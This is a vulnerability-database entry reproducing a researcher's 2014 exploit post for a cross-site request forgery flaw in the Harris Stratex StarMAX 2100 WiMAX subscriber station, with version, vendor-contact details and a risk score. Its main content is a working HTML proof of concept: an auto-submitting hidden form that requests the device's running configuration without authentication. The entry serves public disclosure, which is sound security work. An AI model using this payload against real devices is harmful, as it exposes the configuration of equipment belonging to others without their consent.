Harris Stratex StarMAX 2100 WIMAX Subscriber Station Running Config CSRF Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Harris Stratex StarMAX 2100 WIMAX Subscriber Station CSRF vulnerabilit


                                                I found CSRF vulnerability in Harris Stratex WIMAX 2100 subscriber
station.Using this code i am able to view the current configuration of the
subscriber station without authentication from both LAN & WAN

# Software Link:http://securityvulns.com/Wdocument736.html
# Version: 3.0.4.1.7.C
# Tested on: Any os
# CVE : No

Product :StarMAX 2100 WIMAX subscriber station
Affected Application Version: 3.0.4.1.7.C
Vendor submission:07-04-2009
Vendor Response:No
Vulnerability:Able to view the running configuration without authentication
from both LAN & WAN

&#60;html&#62;
&#60;body&#62;
&#60;body onload=&#34;config.submit();&#34;&#62;
&#60;form name=config method=&#34;get&#34; action=&#34;http:192.168.1.1/frameCmd6.html&#34;&#62;
&#60;input type=hidden name=showRunConfig value=&#34;Current Configuration&#34;&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;


Thanks
Kalyan
Security researcher

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1